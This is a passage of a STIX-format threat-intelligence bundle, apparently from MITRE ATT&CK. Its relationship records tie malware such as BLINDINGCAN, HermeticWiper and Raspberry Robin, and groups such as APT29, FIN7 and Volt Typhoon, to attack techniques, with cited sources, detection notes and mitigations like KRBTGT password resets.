2020)","relationship_type":"uses","source_ref":"malware--3161d76a-e2b2-4b97-9906-24909b735386","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--914526ae-3322-440f-b79e-780bb0c84cf5","type":"relationship","created":"2020-10-27T19:26:37.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT BLINDINGCAN Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a","description":"US-CERT. (2020, August 19). MAR-10295134-1.v1 – North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020."},{"source_name":"NHS UK BLINDINGCAN Aug 2020","url":"https://digital.nhs.uk/cyber-alerts/2020/cc-3603","description":"NHS Digital . (2020, August 20). BLINDINGCAN Remote Access Trojan. Retrieved August 20, 2020."}],"modified":"2020-11-09T21:54:38.881Z","description":"[BLINDINGCAN](https://attack.mitre.org/software/S0520) has modified file and directory timestamps.(Citation: US-CERT BLINDINGCAN Aug 2020)(Citation: NHS UK BLINDINGCAN Aug 2020)","relationship_type":"uses","source_ref":"malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9148cfab-450f-4aa7-a427-3ddf8e8d686a","created":"2021-03-15T14:58:08.449Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky Turla Penquin December 2014","description":"Baumgartner, K. and Raiu, C. (2014, December 8). The ‘Penquin’ Turla. Retrieved March 11, 2021.","url":"https://securelist.com/the-penquin-turla-2/67962/"},{"source_name":"Leonardo Turla Penquin May 2020","description":"Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. Retrieved March 11, 2021.","url":"https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-28T21:27:07.140Z","description":"[Penquin](https://attack.mitre.org/software/S0587) can sniff network traffic to look for packets matching specific conditions.(Citation: Leonardo Turla Penquin May 2020)(Citation: Kaspersky Turla Penquin December 2014)","relationship_type":"uses","source_ref":"malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550","target_ref":"attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--91537671-343b-4e35-8196-bf5178726cc2","created":"2022-03-30T14:26:51.865Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor interactions with network shares, such as reads or file transfers, using remote services such as Server Message Block (SMB).","modified":"2022-04-12T13:30:43.059Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--f5468e67-51c7-4756-9b4f-65707708e7fa","target_ref":"attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9154afb8-abf6-4d9d-b114-5106d801338f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","source_name":"ESET InvisiMole June 2018"},{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-09-02T19:00:21.028Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can gather information on the mapped drives, OS version, computer name, DEP policy, memory size, and system volume serial number.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9155d072-d94b-4a63-b089-26781aff5275","type":"relationship","created":"2017-05-31T21:33:27.064Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/","description":"Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","source_name":"Scarlet Mimic Jan 2016"}],"modified":"2019-04-22T15:06:12.716Z","description":"(Citation: Scarlet Mimic Jan 2016)","relationship_type":"uses","source_ref":"intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7","target_ref":"malware--463f68f1-5cde-4dc2-a831-68b73488f8f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9158696f-fdc6-4869-a395-5d94c7c13d26","type":"relationship","created":"2021-04-05T20:52:47.428Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Lastline DarkHotel Just In Time Decryption Nov 2015","url":"https://www.lastline.com/labsblog/defeating-darkhotel-just-in-time-decryption/","description":"Arunpreet Singh, Clemens Kolbitsch. (2015, November 5). Defeating Darkhotel Just-In-Time Decryption. Retrieved April 15, 2021."}],"modified":"2021-04-22T14:35:25.524Z","description":"[Darkhotel](https://attack.mitre.org/groups/G0012) malware can obtain system time from a compromised host.(Citation: Lastline DarkHotel Just In Time Decryption Nov 2015)","relationship_type":"uses","source_ref":"intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9160a38d-799b-431d-a5d1-a9b4099ab8b1","created":"2020-10-20T17:30:34.734Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"US-CERT TA18-106A Network Infrastructure Devices 2018","description":"US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.","url":"https://us-cert.cisa.gov/ncas/alerts/TA18-106A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-06T18:39:40.576Z","description":"Configure intrusion prevention devices to detect SNMP queries and commands from unauthorized sources. Create signatures to detect Smart Install (SMI) usage from sources other than trusted director.(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--52759bf1-fe12-4052-ace6-c5b0cf7dd7fd","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--91668436-9db8-4a88-9dc0-c55681f80a6f","type":"relationship","created":"2021-06-30T16:13:40.678Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Chaes Nov 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf","description":"Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}],"modified":"2021-08-19T21:57:15.951Z","description":"[Chaes](https://attack.mitre.org/software/S0631) has used an unsigned, crafted DLL module named hha.dll that was designed to look like a legitimate 32-bit Windows DLL.(Citation: Cybereason Chaes Nov 2020)","relationship_type":"uses","source_ref":"malware--77e0ecf7-ca91-4c06-8012-8e728986a87a","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--91694b7a-9230-41ec-81c4-3438fffa0858","type":"relationship","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.863Z","description":"Monitor executed commands and arguments for actions that may attempt to get information about running processes on a system.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--916e5e5c-7856-47e7-9749-58621671d158","created":"2022-03-25T18:42:10.299Z","x_mitre_version":"1.0","external_references":[{"source_name":"Qualys Hermetic Wiper March 2022","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware","description":"Dani, M. (2022, March 1). Ukrainian Targets Hit by HermeticWiper, New Datawiper Malware. Retrieved March 25, 2022."},{"source_name":"ESET Hermetic Wizard March 2022","url":"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine","description":"ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."},{"source_name":"SentinelOne Hermetic Wiper February 2022","url":"https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack","description":"Guerrero-Saade, J. (2022, February 23). HermeticWiper | New Destructive Malware Used In Cyber Attacks on Ukraine. Retrieved March 25, 2022."},{"source_name":"Crowdstrike DriveSlayer February 2022","url":"https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/","description":"Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWiper](https://attack.mitre.org/software/S0697) can call multiple Windows API functions used for privilege escalation, service execution, and to overwrite random bites of data.(Citation: SentinelOne Hermetic Wiper February 2022)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: ESET Hermetic Wizard March 2022)(Citation: Qualys Hermetic Wiper March 2022)","modified":"2022-04-15T01:25:59.296Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--91718be6-b03a-48fd-a1ab-a54d7148ffa2","created":"2022-09-26T15:41:07.588Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T15:41:07.588Z","description":"The [FunnyDream](https://attack.mitre.org/software/S1044) ScreenCap component can take screenshots on a compromised host.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9171c149-2e87-4882-9e9d-8abce7533beb","created":"2023-03-26T16:10:09.836Z","revoked":false,"external_references":[{"source_name":"Volexity SolarWinds","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"},{"source_name":"Cybersecurity Advisory SVR TTP May 2021","description":"NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021.","url":"https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T16:10:09.836Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) exploited CVE-2020-0688 against the Microsoft Exchange Control Panel to regain access to a network.(Citation: Volexity SolarWinds)(Citation: Cybersecurity Advisory SVR TTP May 2021)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9175721d-ca74-4648-94e6-11e117a2cd12","type":"relationship","created":"2020-10-01T00:58:35.342Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-01T00:58:35.342Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--810d8072-afb6-4a56-9ee7-86379ac4a6f3","target_ref":"attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9180d2f8-0bfe-40f3-a92b-36de31df76b4","created":"2024-05-17T13:50:50.280Z","revoked":false,"external_references":[{"source_name":"TrendMicro RaspberryRobin 2022","description":"Christopher So. (2022, December 20). Raspberry Robin Malware Targets Telecom, Governments. Retrieved May 17, 2024.","url":"https://www.trendmicro.com/en_us/research/22/l/raspberry-robin-malware-targets-telecom-governments.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-17T13:50:50.280Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) creates an elevated COM object for CMLuaUtil and uses this to set a registry value that points to the malicious LNK file during execution.(Citation: TrendMicro RaspberryRobin 2022)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9187cbc8-c0b5-440b-b10a-226684e968fc","type":"relationship","created":"2022-01-06T20:07:13.290Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Konni Aug 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/","description":"Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022."}],"modified":"2022-01-06T20:07:13.290Z","description":"[KONNI](https://attack.mitre.org/software/S0356) has hardcoded API calls within its functions to use on the victim's machine.(Citation: Malwarebytes Konni Aug 2021) ","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--918a7d67-faea-4a41-9ed3-e3558fca73db","type":"relationship","created":"2020-01-30T17:03:43.477Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Sean Metcalf. (2014, November 10). Kerberos & KRBTGT: Active Directory’s Domain Kerberos Service Account. Retrieved January 30, 2020.","url":"https://adsecurity.org/?p=483","source_name":"ADSecurity Kerberos and KRBTGT"},{"source_name":"STIG krbtgt reset","url":"https://www.stigviewer.com/stig/windows_server_2016/2019-12-12/finding/V-91779","description":"UCF. (n.d.). The password for the krbtgt account on a domain must be reset at least every 180 days. Retrieved November 5, 2020."}],"modified":"2021-08-31T19:56:31.582Z","description":"To contain the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it.(Citation: ADSecurity Kerberos and KRBTGT) For each domain, change the KRBTGT account password once, force replication, and then change the password a second time. Consider rotating the KRBTGT account password every 180 days.(Citation: STIG krbtgt reset)","relationship_type":"mitigates","source_ref":"course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462","target_ref":"attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--918c753a-c0e7-4bca-9d97-87c02f1ddf08","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Monitor for changes made to windows registry keys and/or values that may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9191026d-2410-4e6d-98fe-26786a5b8bf1","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/luckymouse-hits-national-data-center/86083/","description":"Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.","source_name":"Securelist LuckyMouse June 2018"}],"modified":"2019-07-14T21:15:55.363Z","description":"During execution, [Threat Group-3390](https://attack.mitre.org/groups/G0027) malware deobfuscates and decompresses code that was encoded with Metasploit’s shikata_ga_nai encoder as well as compressed with LZNT1 compression.(Citation: Securelist LuckyMouse June 2018)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--91926031-c1b4-462b-8597-20b10e7211ef","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html","description":"Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.","source_name":"FireEye FIN7 Aug 2018"},{"url":"https://www.justice.gov/opa/press-release/file/1084361/download","description":"Department of Justice. (2018, August 01). HOW FIN7 ATTACKED AND STOLE DATA. Retrieved August 24, 2018.","source_name":"DOJ FIN7 Aug 2018"}],"modified":"2019-06-30T23:13:18.234Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) created a custom video recording capability that could be used to monitor operations in the victim's environment.(Citation: FireEye FIN7 Aug 2018)(Citation: DOJ FIN7 Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9194756f-c455-427b-9fb0-4887c7bf3bf3","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT10 April 2017","description":"FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"},{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.632Z","description":"[RedLeaves](https://attack.mitre.org/software/S0153) can receive and execute commands with cmd.exe. It can also provide a reverse shell.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 April 2017)","relationship_type":"uses","source_ref":"malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9199705b-d90f-4f46-908a-e419501c8712","created":"2022-04-14T11:13:32.716Z","x_mitre_version":"0.1","external_references":[{"source_name":"CrowdStrike StellarParticle January 2022","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[TrailBlazer](https://attack.mitre.org/software/S0682) has used HTTP requests for C2.(Citation: CrowdStrike StellarParticle January 2022)","modified":"2022-04-14T11:13:32.716Z","relationship_type":"uses","source_ref":"malware--bdad6f3b-de88-42fa-9295-d29b5271808e","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--919f6143-eb8c-48cd-8741-118040c372ab","type":"relationship","created":"2019-07-22T15:35:24.376Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Soft Cell June 2019","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}],"modified":"2019-07-22T15:49:29.135Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) ensured each payload had a unique hash, including by using different types of packers.(Citation: Cybereason Soft Cell June 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--91a1d7fc-8057-4b7d-bef5-9c92612e4fe5","created":"2024-05-21T19:35:53.504Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-21T19:35:53.504Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has used multi-hop proxies for command-and-control infrastructure.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--91a362c7-a111-4a1e-8978-1afcc110e5cf","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Turla Mosquito Jan 2018","description":"ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.","url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:38:51.429Z","description":"[Mosquito](https://attack.mitre.org/software/S0256)’s installer is obfuscated with a custom crypter to obfuscate the installer.(Citation: ESET Turla Mosquito Jan 2018)","relationship_type":"uses","source_ref":"malware--92b55426-109f-4d93-899f-1833ce91ff90","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--91a7667b-592f-45c1-a069-986380d29e71","type":"relationship","created":"2020-11-10T20:43:18.165Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-11-10T20:43:18.166Z","description":"[Melcoz](https://attack.mitre.org/software/S0530) has the ability to steal credentials from web browsers.(Citation: Securelist Brazilian Banking Malware July 